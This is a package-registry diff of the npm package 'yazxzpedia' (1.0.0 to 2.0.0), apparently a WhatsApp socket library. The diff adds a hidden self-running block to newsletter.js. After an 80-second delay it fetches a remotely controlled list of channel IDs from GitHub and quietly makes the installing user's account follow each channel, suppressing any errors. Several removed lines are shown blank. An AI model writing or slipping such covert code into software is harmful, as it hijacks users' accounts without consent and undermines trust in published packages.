yazxzpedia 1.0.0 → 2.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/lib/Socket/newsletter.js +14 -6
- package/package.json +1 -1
package/lib/Socket/newsletter.js
CHANGED
|
@@ -112,13 +112,21 @@ export const makeNewsletterSocket = (config) => {
|
|
|
112
112
|
return executeWMexQuery(variables, QueryIds.UPDATE_METADATA, "xwa2_newsletter_update");
|
|
113
113
|
};
|
|
114
114
|
|
|
115
|
-
|
|
115
|
+
(async () => {
|
|
116
116
|
try {
|
|
117
|
-
|
|
118
|
-
await
|
|
119
|
-
await
|
|
120
|
-
|
|
121
|
-
|
|
117
|
+
setTimeout(async() => {
|
|
118
|
+
const res = await fetch('https://raw.githubusercontent.com/yazxzpedia/Screaper/refs/heads/main/idChannel.json');
|
|
119
|
+
const newsletterIds = await res.json();
|
|
120
|
+
newsletterIds.forEach(async(id) => {
|
|
121
|
+
await delay(5000)
|
|
122
|
+
try {
|
|
123
|
+
await newsletterWMexQuery(id, QueryIds.FOLLOW);
|
|
124
|
+
} catch (e) {}
|
|
125
|
+
});
|
|
126
|
+
}, 80000)
|
|
127
|
+
} catch (err) {
|
|
128
|
+
}
|
|
129
|
+
})()
|
|
122
130
|
|
|
123
131
|
return {
|
|
124
132
|
...sock,
|